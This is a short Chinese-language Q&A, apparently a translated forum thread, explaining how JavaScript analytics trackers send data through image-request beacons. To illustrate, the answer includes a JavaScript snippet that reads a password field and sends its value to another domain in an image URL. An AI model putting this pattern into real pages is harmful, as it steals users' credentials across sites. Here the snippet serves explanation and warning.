任何人都知道Javascript Web Analytics跟踪器如何工作？

Question

有谁知道Google分析或Clicky如何运作？

我坚持认为我搜索了整个http://static.getclicky.com/js文件并且没有找到任何服务器请求.它如何在不损害自身安全性的情况下发送数据？否则用户可以通过修改js来发送错误数据.

Answer 1

图像:这些库使用技巧来编码他们想要的所有跟踪信息,将其附加到图像URL,并通过请求图像"发送"它.服务器端解析该图像文件名解码信息.

假设您有一个要从mydomain.com发送到somedomain.com的密码字段:

<input type='password' id='p' />

此javascript可能会违反跨站点限制发送内容:

var t = document.getElementById('p').value;
var i = document.createElement('img');
i.src = 'http://somedomain.com/imagescript.php?p=' + t;

跨站点脚本限制不适用于图像,当您使用JavaScript编写图像URL请求时,世界上没有任何浏览器或逻辑可以解释所有可能性.假设我们很幸运,GA符合道德标准并且不会形成字段.